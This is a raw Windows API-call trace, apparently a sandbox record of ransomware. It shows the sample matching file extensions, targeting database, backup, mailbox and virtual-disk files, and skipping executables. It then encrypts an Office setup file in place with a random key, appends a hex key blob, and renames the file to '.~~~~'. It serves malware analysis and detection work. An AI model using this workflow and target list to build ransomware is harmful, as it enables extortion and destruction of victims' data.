	[0081.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".mdf") returned 0x0
	[0081.449] lstrlenW (lpString=".BAK") returned 4
	[0081.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".BAK") returned 0x0
	[0081.449] lstrlenW (lpString=".BAC") returned 4
	[0081.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".BAC") returned 0x0
	[0081.449] lstrlenW (lpString=".dbs") returned 4
	[0081.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".dbs") returned 0x0
	[0081.449] lstrlenW (lpString=".vhdx") returned 5
	[0081.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".vhdx") returned 0x0
	[0081.449] lstrlenW (lpString=".NDF") returned 4
	[0081.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".NDF") returned 0x0
	[0081.449] lstrlenW (lpString=".dat") returned 4
	[0081.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".dat") returned 0x0
	[0081.449] lstrlenW (lpString=".DBS") returned 4
	[0081.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".DBS") returned 0x0
	[0081.449] lstrlenW (lpString=".CKP") returned 4
	[0081.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".CKP") returned 0x0
	[0081.450] lstrlenW (lpString=".edb") returned 4
	[0081.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".edb") returned 0x0
	[0081.450] lstrlenW (lpString=".PST") returned 4
	[0081.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".PST") returned 0x0
	[0081.450] lstrlenW (lpString=".dbf") returned 4
	[0081.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".dbf") returned 0x0
	[0081.450] lstrlenW (lpString=".SQL") returned 4
	[0081.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".SQL") returned 0x0
	[0081.450] lstrlenW (lpString=".pst") returned 4
	[0081.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".pst") returned 0x0
	[0081.450] lstrlenW (lpString=".dbv") returned 4
	[0081.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".dbv") returned 0x0
	[0081.450] lstrlenW (lpString=".SDF") returned 4
	[0081.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".SDF") returned 0x0
	[0081.450] lstrlenW (lpString=".dtxs") returned 5
	[0081.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".dtxs") returned 0x0
	[0081.450] lstrlenW (lpString=".db3") returned 4
	[0081.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".db3") returned 0x0
	[0081.450] lstrlenW (lpString=".OST") returned 4
	[0081.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".OST") returned 0x0
	[0081.450] lstrlenW (lpString=".dbx") returned 4
	[0081.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".dbx") returned 0x0
	[0081.450] lstrlenW (lpString=".DB3") returned 4
	[0081.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".DB3") returned 0x0
	[0081.450] lstrlenW (lpString=".DAT") returned 4
	[0081.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".DAT") returned 0x0
	[0081.450] lstrlenW (lpString=".VHDX") returned 5
	[0081.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".VHDX") returned 0x0
	[0081.450] lstrlenW (lpString=".ndf") returned 4
	[0081.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".ndf") returned 0x0
	[0081.450] lstrlenW (lpString=".DB") returned 3
	[0081.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".DB") returned 0x0
	[0081.450] lstrlenW (lpString=".sql") returned 4
	[0081.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".sql") returned 0x0
	[0081.451] lstrlenW (lpString=".MYD") returned 4
	[0081.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".MYD") returned 0x0
	[0081.451] lstrlenW (lpString=".DBT") returned 4
	[0081.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".DBT") returned 0x0
	[0081.451] lstrlenW (lpString=".ACCDB") returned 6
	[0081.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".ACCDB") returned 0x0
	[0081.451] lstrlenW (lpString=".fdb") returned 4
	[0081.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".fdb") returned 0x0
	[0081.451] lstrlenW (lpString=".bak") returned 4
	[0081.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".bak") returned 0x0
	[0081.451] lstrlenW (lpString=".myd") returned 4
	[0081.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".myd") returned 0x0
	[0081.451] lstrlenW (lpString=".DTXS") returned 5
	[0081.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".DTXS") returned 0x0
	[0081.451] lstrlenW (lpString=".ckp") returned 4
	[0081.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".ckp") returned 0x0
	[0081.451] lstrlenW (lpString=".dbt") returned 4
	[0081.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".dbt") returned 0x0
	[0081.451] lstrlenW (lpString=".db") returned 3
	[0081.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".db") returned 0x0
	[0081.451] lstrlenW (lpString=".TXT") returned 4
	[0081.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".TXT") returned 0x0
	[0081.451] lstrlenW (lpString=".MDF") returned 4
	[0081.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".MDF") returned 0x0
	[0081.451] lstrlenW (lpString=".bdb") returned 4
	[0081.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".bdb") returned 0x0
	[0081.451] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0081.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.451] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394860) returned 1
	[0081.452] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.452] CryptReleaseContext (hProv=0x394860, dwFlags=0x0) returned 1
	[0081.452] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0081.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0081.452] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20144256085) returned 1
	[0081.453] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9a6607d0, dwHighDateTime=0x1d60e1e)) 
	[0081.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0081.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0081.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0081.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe168
	[0081.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.453] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe168 | out: hHeap=0x300000) returned 1
	[0081.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.453] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0081.453] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0081.453] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0081.453] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0081.453] GetLastError () returned 0x0
	[0081.453] GetLastError () returned 0x0
	[0081.453] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0081.454] GetLastError () returned 0x0
	[0081.454] GetLastError () returned 0x0
	[0081.454] ReadFile (in: hFile=0x120, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x1f8fec0*=0x1861, lpOverlapped=0x0) returned 1
	[0081.463] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffe79f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.464] WriteFile (in: hFile=0x120, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x1861, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x1861, lpOverlapped=0x0) returned 1
	[0081.464] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0081.464] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.464] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.464] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.464] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.464] CloseHandle (hObject=0x120) returned 1
	[0081.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0081.551] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.~~~~")) returned 1
	[0081.552] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fefe8 | out: hHeap=0x300000) returned 1
	[0081.552] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0081.552] GetLastError () returned 0x0
	[0081.552] RtlWakeConditionVariable () returned 0x365f70
	[0081.552] GetCurrentThreadId () returned 0xaf0
	[0081.552] GetCurrentThreadId () returned 0xaf0
	[0081.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0081.552] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a72f8 | out: hHeap=0x300000) returned 1
	[0081.552] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe408 | out: hHeap=0x300000) returned 1
	[0081.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a72f8
	[0081.552] lstrlenW (lpString=".scr") returned 4
	[0081.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".scr") returned 0x0
	[0081.552] lstrlenW (lpString=".cmd") returned 4
	[0081.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".cmd") returned 0x0
	[0081.552] lstrlenW (lpString=".dll") returned 4
	[0081.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".dll") returned 0x0
	[0081.552] lstrlenW (lpString=".bat") returned 4
	[0081.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".bat") returned 0x0
	[0081.552] lstrlenW (lpString=".cpl") returned 4
	[0081.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".cpl") returned 0x0
	[0081.552] lstrlenW (lpString=".sys") returned 4
	[0081.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".sys") returned 0x0
	[0081.552] lstrlenW (lpString=".msc") returned 4
	[0081.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".msc") returned 0x0
	[0081.552] lstrlenW (lpString=".com") returned 4
	[0081.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".com") returned 0x0
	[0081.552] lstrlenW (lpString=".lnk") returned 4
	[0081.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".lnk") returned 0x0
	[0081.552] lstrlenW (lpString=".msp") returned 4
	[0081.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".msp") returned 0x0
	[0081.553] lstrlenW (lpString=".pif") returned 4
	[0081.553] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".pif") returned 0x0
	[0081.553] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.553] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0081.553] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0081.667] lstrlenW (lpString=".sqb") returned 4
	[0081.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".sqb") returned 0x0
	[0081.673] lstrlenW (lpString=".ost") returned 4
	[0081.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".ost") returned 0x0
	[0081.686] lstrlenW (lpString=".txt") returned 4
	[0081.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".txt") returned 0x0
	[0081.686] lstrlenW (lpString=".mdt") returned 4
	[0081.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".mdt") returned 0x0
	[0081.686] lstrlenW (lpString=".BDB") returned 4
	[0081.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".BDB") returned 0x0
	[0081.686] lstrlenW (lpString=".eql") returned 4
	[0081.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".eql") returned 0x0
	[0081.686] lstrlenW (lpString=".DBF") returned 4
	[0081.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".DBF") returned 0x0
	[0081.686] lstrlenW (lpString=".EQL") returned 4
	[0081.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".EQL") returned 0x0
	[0081.686] lstrlenW (lpString=".FDB") returned 4
	[0081.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".FDB") returned 0x0
	[0081.686] lstrlenW (lpString=".EDB") returned 4
	[0081.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".EDB") returned 0x0
	[0081.687] lstrlenW (lpString=".DACPAC") returned 7
	[0081.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".DACPAC") returned 0x0
	[0081.687] lstrlenW (lpString=".VHD") returned 4
	[0081.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".VHD") returned 0x0
	[0081.687] lstrlenW (lpString=".DBV") returned 4
	[0081.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".DBV") returned 0x0
	[0081.687] lstrlenW (lpString=".dacpac") returned 7
	[0081.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".dacpac") returned 0x0
	[0081.687] lstrlenW (lpString=".sdf") returned 4
	[0081.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".sdf") returned 0x0
	[0081.687] lstrlenW (lpString=".accdb") returned 6
	[0081.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".accdb") returned 0x0
	[0081.687] lstrlenW (lpString=".DBX") returned 4
	[0081.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".DBX") returned 0x0
	[0081.687] lstrlenW (lpString=".MDT") returned 4
	[0081.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".MDT") returned 0x0
	[0081.687] lstrlenW (lpString=".SQB") returned 4
	[0081.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".SQB") returned 0x0
	[0081.687] lstrlenW (lpString=".vhd") returned 4
	[0081.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".vhd") returned 0x0
	[0081.687] lstrlenW (lpString=".bac") returned 4
	[0081.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".bac") returned 0x0
	[0081.687] lstrlenW (lpString=".mdf") returned 4
	[0081.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".mdf") returned 0x0
	[0081.688] lstrlenW (lpString=".BAK") returned 4
	[0081.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".BAK") returned 0x0
	[0081.688] lstrlenW (lpString=".BAC") returned 4
	[0081.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".BAC") returned 0x0
	[0081.688] lstrlenW (lpString=".dbs") returned 4
	[0081.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".dbs") returned 0x0
	[0081.688] lstrlenW (lpString=".vhdx") returned 5
	[0081.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".vhdx") returned 0x0
	[0081.688] lstrlenW (lpString=".NDF") returned 4
	[0081.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".NDF") returned 0x0
	[0081.688] lstrlenW (lpString=".dat") returned 4
	[0081.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".dat") returned 0x0
	[0081.688] lstrlenW (lpString=".DBS") returned 4
	[0081.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".DBS") returned 0x0
	[0081.688] lstrlenW (lpString=".CKP") returned 4
	[0081.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".CKP") returned 0x0
	[0081.688] lstrlenW (lpString=".edb") returned 4
	[0081.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".edb") returned 0x0
	[0081.688] lstrlenW (lpString=".PST") returned 4
	[0081.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".PST") returned 0x0
	[0081.688] lstrlenW (lpString=".dbf") returned 4
	[0081.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".dbf") returned 0x0
	[0081.688] lstrlenW (lpString=".SQL") returned 4
	[0081.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".SQL") returned 0x0
	[0081.688] lstrlenW (lpString=".pst") returned 4
	[0081.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".pst") returned 0x0
	[0081.688] lstrlenW (lpString=".dbv") returned 4
	[0081.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".dbv") returned 0x0
	[0081.689] lstrlenW (lpString=".SDF") returned 4
